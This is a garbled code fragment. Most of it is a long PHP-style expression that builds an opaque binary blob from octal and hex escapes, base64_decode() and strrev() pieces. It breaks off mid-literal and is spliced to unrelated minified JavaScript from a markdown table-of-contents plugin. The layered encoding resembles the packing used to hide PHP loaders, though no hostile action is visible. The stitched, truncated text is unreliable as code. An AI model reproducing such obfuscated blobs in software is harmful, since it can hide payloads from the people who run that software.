1\120\252\226\56\353\105\33\312\230\71\13\132\71\207\65\144\146\43\64\45\145\215\352\366\40\10".base64_decode('WhY0zIUGz4Sr7VmzoXET2ZHMeCnPCh9zBoehJis7kS4MwyW8PWEa2igkmz8fmjlvHg==')."\x54\x6b\xe7\xcd\x72\x61\x2\xae\x7c\x67\xcf\x65\x4a\xff\x5\xc3\xb1\x87\x81\x65\x9b\x37\x1f\xa0\xfa\x90\x96\xcf\xb0\x3b\x4d\x6b\x6c\x28\xa7\x97\x60\xc8\xe7\x36\xc2\x90\xe8\x3\x99\xc1\x34\x4b\x62"."\xa4\x8b\x88\x1f\x0\xa6\x67\xc4\x9c\xd0\x33\xe\x93\x9e\xcf\x81\x22\x47\x7\x73\xf6\x98\x1\x83\x32\x67\x36\xf4\x71\xb0\x38\x60\xa6\x72\x20\xc9\x9b\xc3\x86\x2a\x5b\xb6\x4b\x39\x26\xb9\x9b\xc5\x6a"."\x74\x4a\x59\xad\x50\x34\xd9\x20\x42\xff\x4a\x83\xe3\xb6\x9e\x87\xda\xe6\xb2\x5e\x37\xce\x87\xa\xec\xd2\x90\x53\x1c\x9d\x80\x29\x1b\x2e\x8c\xe\x32\x71\x42\xa1\x9c\x1b\x4e\xf\x30\xed\x9b\xfc\x98"."\223\33\200\32\13\251\334\120\76\15\142\320\306\171\154\211\64\262\371\233\305\46\224\65\301\34\322\63\131\306\63\346\107\265\364\320\30\353\47\344\31\65\12\346\220\125\144\213\15".base64_decode('ejYXejZzNkDmzITKUhMDQ5qdZ7MxYQyMMosHY3SizAS8c+bDiFl2pjQwDquikBvJlg==').strrev('ef3NR>:7L#8&128AO8<0Of')."\2\35\327\207\307\206\62\343\60\355\351\254\251\117\244\240\126\75\75\140\16\215\303\232\31\115\27\307\264\161\246\246\144\217\16\215\214\203\126\310\374\71\320\361\341\302\130\272\224"."\312\262\41\207\161\231\73\13\366\304\230\63\221\31\116\131\254\42\153\264\310\104\105\363\32\241\23\143\205\362\220\75\152\262\255\303\240\3\343\372\250\15\123\71\233\15\174\146\310"."\x1a\x37\x1d\x58\x14\xb3\xe6\x37\xb0\x31\x1f\xd3\xed\x74\x91\x55\xd\x33\x37\x98\xcb\x8c\xc\x33\xae\x6e\xce\x7c\x3e\x63\x30\x4\xb3\xd8\xa0\x14\xb3\x79\x67\x2c\x5\xdb\x6b\xfe\x2c\x36\xa1\xc\xc1"."\xcc\x9f\x9\xe5\xcd\x6f\x98\xc7\x36\x3c\x64\x1c\xc8\x8d\x94\x99\xbd\x41\xe3\x1c\x48\x66\xe8\xb9\x9\xb4\xde\x59\x71\xd\x6c\xd\x32\x34\x35\x90\x2e\x67\xc7\xa0\x5f\x33\x1b\x58\x26\x67\x7c\xd4\x1e"."\204\176\215\147\12\23\166\11\32\64\354\144\106\271\251\334\114\66\254\263\331\12\30\316\146\106\306\46\106\31\326\203\66\17\246\306\106\113\231\62\13\230\26\107\102\205\341\21\155"."\74\7\145\353\105\163\64\75\76\302\172\5\33\117\323\163\203\303\14\335\224\354\102\332\141\26\164\143\246\75\230\325\241\225\203\243\351\374\60\23\201\345\313\43\203\205\61\130\65"."\xd6\x90\xa1\xd\xe4\x86\xd9\xb8\xc0\xa8\x65\x7\x4b\xfa\x18\x53\x31\xc4\xc\xb8\x90\xf\xae\x2e\xc0\x12\x6e\x41\x1b\x90\xc9\x9e\x11\xcf\xed\x94\x6d\x4f\x2\x6e\xb9\x54\xc\x14\xb4\x22\x57\x31\xea"."\x84\xd6\xa6\x65\x6d\x77\x39\xc1\x90\xae\x33\x3d\x69\xa6\x89\x2d\x74\x58\xec\x32\xb1\x15\x1\xb8\x51\xd0\x85\x10\x9d\x5e\x5b\xb0\x9c\x42\x48\x80\xdb\x2e\x69\xc1\xe0\x60\x42\x2e\x5\x61\x55\x29\x1a"."\x85\x5c\xb1\x9\xc7\xb4\xb8\xde\xd\xd5\xe8\xb\xe0\x16\x6\xdc\x7d\x6e\x80\x39\xae\x72\xe3\x9\xe2\x61\x1b\xed\x1b\xb\x86\x66\xc8\xcc\xa4\xd1\x41\x91\x71\x95\x9a\x49\xb9\xca\xe4\x50\x26\xd5\xf0"."\306\144\47\201\243\162\134\112\313\14\346\32\254\24\231\75\125\16\4\330\160\247\244\231\245\222\175\107\263\207\2\62\330\57\307\32\105\324\212\174\76\340\66\274\124\311\177\60\6"."\xd4\xb8\xcf\xd6\x87\xd1\x99\x2d\x6e\xcb\xed\x21\x69\xe0\xb1\xc5\x64\x6f\x8f\x9a\xc\x25\x96\x49\x6a\x8f\xd8\xa2\x8f\x2d\x27\x55\x28\x9b\x48\xdd\x12\x25\x48\xe3\x28\xcf\xa0\x7b\x8\xd8\xa\x79\xed"."\346\155\73\67\135\262\353\342\133\166\235\267\171\347\335\27\276\266\371\226\235\367\134\214\202\73\356\74\177\347\346\37\277\176\331\31\73\356\74\157\307\235\247\274\166\346\355\357\374".strrev('M~v_W]6{ݯ=cy^v{~n')."\xbb\x2e\x3c\x6f\xc7\x3d\x57\xa2\xf4\xbb\xce\x12\x25\xa3\x64\x3b\x6f\xfa\x6f\x9c\xf7\xd7\xdf\xdb\x79\xe7\x9d\xaf\x5d\x7d\x1d\x8f\x7d\xe7\xd7\xa7\xd2\xc6\x4c\x0\x9e\xed\xd0\x1d\x6c\x8\xc9\x74\xd9"."\310\350\50\213\25\130\220\272\35\120\172\362\72\32\141\205\350\345\140\305\67\47\247\133\212\103\24\340\64\364\257\150\26\375\164\301\121\43\123\133\61\212\70\132\141\163\23\340\213"."\x32\xa9\x17\x4a\x78\x69\xc1\x28\x5\xa9\x21\x9a\x4b\x13\x5e\x5a\x7f\xd5\x86\x99\x46\x54\x59\x56\x78\xac\xc5\x5c\xd5\xe1\x4f\xb8\xb\xc4\x42\x46\x25\xab\x21\x40\xa6\x49\xc9\xa2\x6c\xa\xb3\x27\x51"."\x1c\x93\x7d\x17\xc6\xf9\xa4\x7b\x36\x41\xd5\x69\xe5\xcd\x60\x53\x3b\xc0\x65\xfd\x42\x4\xd\xd\x93\xec\x1a\xe8\x7d\x4f\xc5\x92\x22\xbb\xca\x8d\x12\x5c\xfb\xcd\x8d\x4c\xe4\x28\xf7\x48\x80\x8c\x98"."\250\52\370\24\332\24\237\102\56\250\25\267\325\45\126\75\140\327\371\362\36\223\233\157\351\245\274\164\125\125\32\257\72\210\162\153\344\333\161\117\327\22\125\206\221\167\316\25\211"."\xf6\x75\xd9\xa9\x92\x50\x1e\x6d\x59\x26\x6d\x98\xad\x79\x84\xe8\xc4\x95\x2a\x51\x1e\x10\xdd\xa0\x41\x21\xb\x47\x15\x71\x3c\x69\xe9\x19\x83\x29\x6c\xeb\x5\x92\x92\x19\x41\x10\x9\x3c\xd7\x14\x4f"."\243\55\140\271\56\322\26\55\51\345\112\330\146\335\131\270\4\154\143\341\142\122\225\352\205\157\141\206\43\103\363\336\313\71\276\141\332\132\44\313\161\234\254\311\357\367\113\102\146"."\241\242\207\277\240\70\161\151\215\140\141\274\233\47\203\267\161\125\16\264\315\7\6\164\333\151\42\26\155\312\14\5\65\164\176\240\21\175\220\15\61\47\60\17\175\222\121\202\115".base64_decode('3A8jV7aZmcnUwGyg7uyFoIeykOCSZqn5ABe5ysU8g6JPlCReLuIZbnL3WS9mpEwLtQ==')."\xb4\x23\x95\xaa\x66\x61\x50\x3\x62\x3c\xb4\x19\x22\x5e\xcf\x1c\x3\x13\x23\x8d\xd2\x28\x24\x60\x79\xbb\xdc\xf3\x8e\xfa\xef\xe7\x4b\x1\x4d\x2f\x22\x17\x32\x36\x51\xf0\x85\x13\x7\x8a\xb4\x25\x63"."\xdf\xb8\x58\x45\x38\x3b\x19\xae\x2f\xc8\xea\xc8\x53\x5e\x42\x24\x49\x91\x6b\xf6\xda\x79\x8d\x5d\x7a\xda\x88\x4e\x31\x8a\x3a\x5f\x7f\x65\x9b\xdf\xcb\x60\x2d\x78\x15\x9d\xe5\xec\xd4\x43\x6b\x55\xcd"."\x18\x10\x19\x8d\xb4\xa8\x6d\x11\xd0\xfd\xc\xf5\x44\xd4\x44\x22\x26\x69\x62\x12\xc3\xc1\x55\xea\xb2\x58\x9b\xda\x1a\x8b\x2d\x8b\xc0\x1a\x83\x51\x6d\x92\xd0\x20\x36\x34\x13\x77\xd9\x38\x24\xc\xce"."\xf0\xf5\x8f\xac\xc9\x26\xd3\x19\xd8\xb6\x1d\x9f\xa5\x9\x5\x14\x56\xd1\x62\x6e\xed\xc\xc5\xb9\x99\xc0\x9c\x40\x43\xa0\x51\xa4\x45\x15\xaa\xd8\x5a\xa2\x99\xd9\xd1\x26\x92\xa1\x78\x15\xf\x7\xd4"."\363\1\214\70\170\73\200\14\235\261\225\112\153\54\332\333\325\235\240\206\375\24\336\35\223\342\211\62\70\104\63\377\7\225\321\120\174\270\47\32\152\15\53\221\356\144\214\131\173".strrev('zy:PM{~Mm_>Ѭ^D$[ds6ab\\}p')."\40\320\323\6\335\153\342\137\31\33\166\147\127\42\261\34\214\327\142\361\120\153\224\65\245\45\224\200\317\130\153\204\176\354\276\350\326\35\167\237\277\373\212\315\73\317\76\17\25"."\xb4\xeb\xf2\xef\xed\xba\xf4\x57\x88\xe\xc1\xb4\xc7\xe6\x73\x77\xff\xe6\xfc\x5d\x17\xdd\xbc\xeb\x5c\xa0\x19\x94\xd7\x6e\xde\xba\xe3\x9e\x7b\x77\x5f\x74\xdd\xce\xcd\xff\xbd\xeb\x92\xbb\x76\x5f\x7e"."\x3a\x8d\x78\xfd\xfa\x5b\x77\x9e\x73\x1d\x6f\x98\xf2\xfa\x85\xbf\xd9\x75\xfe\xcf\x39\x3d\x42\xc9\x10\x1f\xca\xfd\xfa\x19\xe7\xed\xbe\x67\x33\xa6\x46\x7e\x7a\xca\xae\x3b\x36\xee\xba\xf2\xbc\x9d\xe7"."\x5c\xbd\xf3\xb2\xeb\x76\x9f\x7f\xf3\xce\x6b\x4e\xdb\xf9\xfd\xf3\x5e\xbb\xf9\xe2\x63\xbc\xb\x89\x86\xfb\xd8\x54\x80\xfd\x67\xf0\x44\x6c\xee\x4a\x87\xb7\xdf\x9e\x81\x87\xb6\x1e\xfd\xd6\x61\xe3\x11"."\364\313\164\340\211\136\364\362\336\160\167\153\330\153\214\45\7\301\71\304\164\272\102\250\136\15\220\216\66\70\227\140\141\142\143\336\134\73\151\53\326\303\374\113\215\222\32\323\26".base64_decode('TrTGIy1hME/gEzWVEE+gVIGgifgK/s3tDyuceSh1bDHXK66OaIG0mS8XiqSxSg1WIw==')."\xa9\xf1\xe1\x3\x86\x58\x86\x29\x35\xf8\x80\x44\x0\x3d\x8d\xb6\x5e\x1d\xf6\x0\x40\xf4\x85\x6b\x57\xd7\xfa\x1a\x7c\x8d\xf5\xa\x78\xfa\xa0\x39\xc0\xbf\x87\x52\x3\x5a\xf2\x3c\x9f\xab\x12\x5f\xca"."\x15\x6a\xf4\x35\xd4\x2b\x35\xa5\xa1\x1a\x68\x97\x18\x57\xd4\x7a\x95\xa6\xb4\x15\xcd\x57\x7\xd\x96\x9b\x2b\xd2\x22\xf4\x68\x3b\x96\x66\x14\x1d\x5b\x49\xfb\x38\x88\xe7\x47\xbf\x2e\x9f\x1d\xe9\x80"."\xc8\x41\xe7\x9\xa5\xf0\xc2\x94\x50\x77\x9b\x3b\x25\x75\xf5\xd1\x53\x4b\x14\x32\xd3\x1\x87\xbb\x12\x60\xd3\x5c\x5b\xaf\xa4\xc0\xe8\xa3\x4a\x24\xc9\xe6\x1a\x8c\x66\xd7\x60\xd4\xcd\x0\x3c\xd1\xd3"."\301\347\233\132\164\50\324\340\217\66\113\263\331\104\1\224\114\25\206\322\331\142\151\115\324\15\64\71\64\75\372\340\61\330\366\201\227\204\320\21\217\140\63\210\341\174\22\253\304".base64_decode('ER8sNZTAo/0s2AMM1YHvj67VvA9sLSuM0uAeXLDpYjjZ2klXeUJa5pnUVNdCFcOpuA==')."\226\10\347\22\40\35\335\56\30\41\354\113\322\105\272\333\143\361\56\152\262\227\150\355\14\167\205\2\200\304\351\112\240\351\61\31\245\64\53\265\30\363\121\120\255\153\370\111\105"."\x6c\xc8\x92\xa4\x56\xb4\xaf\x54\x7\xd1\x44\x74\x14\x4a\x3\xd0\x18\x98\x7d\x85\x18\x63\x6b\x24\x4b\x73\x2d\xf5\x9a\x0\x45\x72\x57\x43\xb1\x78\x52\x45\x3\x0\xe8\x59\xc2\xba\xb5\xd2\x69\x21\xe9".base64_decode('kmPLsxFG3mcRkWMyZxGZFPNIhArHZbbGutsjzDqxDZjnUsZ0JWqLR7BZPtSvsKIkmw==')."\120\24\20\52\34\50\120\32\315\360\157\141\141\216\43\370\231\217\2\342\310\107\1\176\330\340\124\222\353\44\134\177\242\233\177\13\72\26\5\172\23\314\52\5\143\337\225\155\374"."\xbb\x93\x9b\x16\xe3\x88\x58\x5c\xa\x84\xe2\xa1\xae\x4\xf\xc6\x57\x72\x2b\x17\xe\xa3\xd6\x2e\x6a\x77\x6f\x97\xc0\xf8\xd1\xd0\xa\xb4\x58\x62\x82\x40\x61\xd8\xba\x2e\x30\x7d\x49\x7d\x3f\x35\x20"."\xa4\x9f\xf4\x67\x29\xb\x61\xa3\xaa\x35\xeb\x1a\x7d\xca\xdc\xd\xf5\x90\x86\x99\xdc\xa9\x4e\xce\x28\x32\x42\x12\xd7\xb2\x3c\xaa\x46\x63\x1d\x34\x4c\x5c\x3a\x85\x8b\x19\xc1\x6a\x28\x7d\xa\xa2\x6a"."\x93\x82\xaa\xb5\xd9\xd1\xc5\x77\x83\x82\xd6\xb0\x42\xad\x92\x95\xee\xd8\xca\x90\xf0\x12\x24\x45\x0\x44\x38\xd\xa\x9e\xd8\xd7\x3f\xda\x1f\x40\xc4\x82\xbd\x56\x18\x4\xb6\xb5\x28\x8c\xc\x69\x25"."\xac\x3a\xe5\xe8\x21\x77\x88\x1d\xa3\x6b\x7d\x70\x62\xa8\x79\x73\x80\x79\xfc\x40\x8\x91\x91\xb\xf4\x77\x15\xfb\x20\xb8\x12\x32\x20\xfe\xb5\x94\x67\x96\x81\xd4\x24\x51\xed\x5f\xdf\x3f\xad\xdf\x1f"."\xa0\x56\x98\x98\x78\xe9\xf7\x89\x26\xa9\xe1\x55\xe8\x8c\x4d\x24\x5c\x26\xa4\x2a\x71\x84\x3\xa5\xa3\x5e\xc2\x17\xdd\xb5\x34\xb0\x8\x7e\x80\xb1\x5a\x4\xe4\x29\x4\x17\x37\xf3\xc9\xc\x2f\x5f\xdf"."\215\376\165\44\327\207\321\277\50\372\211\46\321\164\31\74\1\332\222\321\310\262\360\172\374\107\104\324\363\201\244\306\126\356\14\221\356\365\350\57\102\60\353\43\335\336\302\132\302".strrev('ZƸz/vU^3_#Uh-*E$WM0')."\70\103\102\211\126\201\175\135\13\242\162\55\20\325\176\367\102\340\216\254\40\334\21\217\365\366\110\341\316\320\212\110\167\7\13\5\247\263\257\351\120\264\322\26\111\240\41\152\145"."\x8b\x51\xf8\xd7\x92\xc3\x40\x70\x12\xb2\x48\xa6\x7a\x5d\x4b\xba\xd\x61\x76\x14\x90\x48\x76\xcc\xc\x50\xcc\xec\xde\x65\x2d\xbd\x91\x68\x9b\x6c\x35\x8f\x13\xc2\x81\x42\xb0\x3a\x9c\x29\x53\x59\xe3"."\130\230\330\317\263\0\36\162\366\115\226\33\13\220\61\140\1\72\0\54\104\206\213\5\210\37\57\26\40\35\145\1\314\235\204\273\131\34\142\0\21\363\306\270\272\234\66\302\315"."\76\27\146\122\222\213\6\214\203\3\124\10\206\275\163\40\216\121\343\242\112\217\234\223\210\234\44\256\236\252\373\51\222\365\171\220\202\20\265\111\200\350\267\177\355\22\102\15\257"."\145\13\223\232\70\73\111\303\311\273\152\1\123\110\124\113\204\330\237\112\365\60\363\12\42\340\123\115\111\310\114\16\152\31\40\104\112\124\42\15\322\133\41\231\301\152\216\104\256"."\113\203\156\26\212\343\245\265\234\63\2\267\21\76\370\205\26\115\241\77\375\20\144\22\11\60\231\251\365\301\41\313\314\54\334\226\211\375\375\65\223\215\26\44\140\143\6\301\32"."\x1a\x64\xb9\xc\x7e\xe6\xa5\x73\xd8\xd5\x87\xea\x14\x98\x44\x9b\x30\x67\x42\x76\x4c\xe5\xcf\x22\xdc\x16\x8f\xf5\x50\xa\x44\x89\xb4\x2b\xd4\x91\x84\x52\x4b\x25\xd6\xb5\x40\x5a\xb5\xc6\xc3\x78\x77"."\xd0\x54\x2c\xae\xae\xd6\x25\x6b\x5a\x5c\xab\x80\x55\x79\xbd\x3b\x57\xa4\xbb\x2d\xbc\x4a\xa9\x35\x32\x63\xaa\xa6\xa9\x90\x59\x41\x7b\x91\x15\xa4\x54\x94\xc4\x4a\xa0\x6d\x65\x17\xf1\x39\x73\x54\x91".base64_decode('lxfjl1spLCmWXAVpRlxCMAteHzDlPIZSxDQqkkAHdjRKeoqiDBsTsj6Fe27AQMx8UA==').base64_decode('GSYUxCJoQTQqvCoZD2EgoT732xf9RxAK5o6sgkbNWgnNFlgLQoK1LhKREo+YSIQVRA==').base64_decode('jjypTzyGSAroMMtyhGVAddNQTzzSFYqvhiETPADsQDPvMm4WAcPulczru1GrZXN7Og==').strrev('}HxrPb>'."\n".'u(=nUnx'."\0".'Xa~"')."\x15\x39\x56\x36\xe7\x12\x7e\x21\xf1\x21\x89\x27\x99\x61\xfb\xf6\x50\x6f\x54\x86\xc0\x50\x29\xcb\xc2\xab\xbf\x60\x8f\xb0\x96\x56\xdb\x23\x2c\x8e\x89\x63\xf8\x6e\x83\xfe\xd4\xcd\x81\xfe\x51\xc7\x1a"."\165\63\21\117\132\56\332\306\100\221\173\245\203\126\301\331\332\233\214\251\350\374\210\207\61\66\207\36\361\141\225\332\53\361\335\362\244\100\61\70\1\167\262\371\5\135\143\151\252"."\165\215\347\347\222\247\160\167\107\244\73\334\334\65\36\111\204\272\24\326\160\220\255\141\137\164\363\241\234\110\114\215\42\232\130\225\305\147\221\30\110\160\3\51\331\253\212\52\234"."\xb3\x4\x34\xa1\xfa\xed\x58\x65\xc9\x37\xa2\x61\x12\x35\xeb\x2e\x6e\x91\x41\xf4\xc2\xd1\x82\x8\x9\xa7\xc\x5c\xca\x4c\xe2\xca\x29\x9c\x5b\x3e\xae\x20\xbf\xc7\x9f\xa0\x61\x36\xe1\x18\x9c\x98\x52"."\51\13\105\162\325\125\271\127\317\132\6\13\225\157\161\61\313\56\202\321\71\344\312\320\53\71\125\300\231\25\126\41\271\232\51\272\233\207\316\313\274\212\335\232\40\166\120\325\105"."\x6f\xa\xba\x6d\xf3\xb\x5a\xc2\xfc\xb0\x4f\x27\x27\x7c\x4a\xc8\xee\x1c\xdb\x5a\xd8\xc8\x95\x8b\x4e\x42\xcf\x83\xc8\xbc\x2d\x45\x14\xe6\x85\x9d\x9b\xb0\x25\x92\x14\xe9\xc9\x6d\x87\x98\xe\xea\x58".strrev('0eF*F^dNNQ7*0JJ').strrev('Z'."\0".'=n'."\r".'$J,M~]}Y(e|HAV2AQ'."\r".''."\0".'').base64_decode('LCYgfOaQMjHt4hc+LDKabLIpeS0+Rp5xMnVi4WUN2aFFQLiy5Gt5KR9wbMoM99yYDg==')."\316\252\122\133\172\170\372\64\367\131\114\107\103\32\146\2\240\237\144\367\51\115\242\21\235\250\245\246\65\56\255\1\11\332\305\334\74\201\43\315\250\71\300\21\7\42\17\301\231"."\x99\xb\x79\x44\x62\x90\x37\xa0\x63\x3b\x26\x6a\x55\x82\xad\xce\x78\x46\xea\xc8\xeb\xcb\x33\xf5\x4a\xbe\x44\x27\xd9\xef\x55\xf3\xb5\x42\x42\x5e\xa1\x45\x64\x39\x5f\x5e\x61\x5c\x17\x47\x32\xca\x46"."\314\306\276\64\223\300\177\244\46\222\111\302\231\236\74\144\71\122\23\27\230\371\34\104\213\65\206\20\165\167\114\355\104\147\101\214\121\14\206\235\164\341\136\226\13\120\201\203\10"."\232\164\220\130\344\2\77\266\220\334\313\323\333\101\230\354\165\10\255\362\57\246\17\1\136\303\304\111\35\242\77\253\13\31\77\152\70\254\272\214\356\160\157\115\30\233\61\353\105"."\334\146\311\204\271\300\261\337\250\344\36\121\33\321\261\225\30\223\166\124\250\245\100\127\52\73\7\115\304\267\122\211\130\157\234\135\235\340\60\26\31\251\361\160\353\152\176\213\301"."\xa1\xed\xa1\x15\x5e\x48\x4\x8b\xfc\x42\x1d\x55\xc1\x5c\x10\x85\xe1\x84\xe3\x53\xe3\x31\x2c\xb1\xb\x47\xdb\x3d\x19\x12\x9d\xdc\x9b\xa5\x1b\xa6\x46\x23\xdd\xcb\xaa\x46\x20\xba\xa1\x4b\xca\x42\x81"."\221\144\270\313\13\163\227\220\10\207\342\314\15\52\16\267\104\143\255\122\164\44\126\71\22\234\60\341\100\52\357\243\300\340\211\165\375\353\10\313\322\204\70\227\314\172\54\30\360".base64_decode('q2tm1C/p31Bf1x9cEpjO5VkUXUk2spOAbXaINHkB+PxhQJoNQsFAACrhH8H+IHcJxg==')."\xe\x8\x70\x31\x9c\xa0\xce\x93\x5c\xad\xf0\x38\xed\x60\xd6\xf0\x1\xaf\xf7\x4c\x15\x5b\xdd\xaa\x7c\x3f\xe1\xab\x4e\x35\xb1\x3a\xc1\x47\x9e\x2e\xc3\x6a\xf1\xae\xb5\x46\x93\xc9\x8a\x5\x9e\xc4\xe8"."\137\217\234\24\353\262\124\115\350\132\254\56\253\143\31\24\60\114\261\17\304\206\315\230\351\62\366\325\44\106\137\330\50\43\120\300\125\4\102\325\103\202\273\206\375\226\140\373\262"."\210\116\101\70\146\133\21\261\330\321\31\71\176\131\264\253\73\326\263\74\236\110\366\256\130\271\152\365\11\60\322\154\71\144\25\77\163\265\6\236\71\203\43\232\25\34\141\276\245".base64_decode('V2BaX7eDMg3FgaiPCNUxRBWkIgAei/FCsHoULS1YKDqNk6TosfSUaTqTxK7o+uKCIQ==')."\xb2\xaf\xdf\x5e\xc3\xd6\x5f\x30\xa3\x8f\xc0\xa7\x50\x1e\xb3\x5\x87\x3\xe4\x83\x5f\xf6\x71\x8d\x97\xaa\x4c\xd1\x65\x52\x9e\x73\x1e\x0\xc2\x53\x91\x44\xd\x8\x20\x31\xe8\x14\xe\x5f\x99\xd6\xf3".strrev('b3KAA3m39m| gqg_ڷL^MZ~ 8').base64_decode('8Elh+0cNtvqO42wiKDupWpqyzZKi37Afc01+LT9gIkIvV2BQbcgVL5zWlsy8wZzpDQ==').base64_decode('+1EVUhxNjApn5y1WaeBebHHA5iF5S5ITievk4HOv04MNOJB7202QTjQps8EldTuiwA==').strrev('FָhHayZ{dȸ
"+i+"
":''+(i=t+(i=(i=i.replace(/\n/g,o)).substr(0,i.length-o.length))+n)+"
"}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.after("emphasis","toc",function(e,t){return!t&&!((t=(t=/^@?(\[toc\])|(\[\[toc\]\])/im.exec(e.src))?t.filter(function(e){return e}):[]).length<1||(e.push("toc_open","toc",1).markup=t[0],e.pos=e.pos+t[0].length,0))}),e.renderer.rules.toc_open=function(e,t){return''}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){var t=".markdown-preview-image-show",i=$(t);i.exists()||(i=$('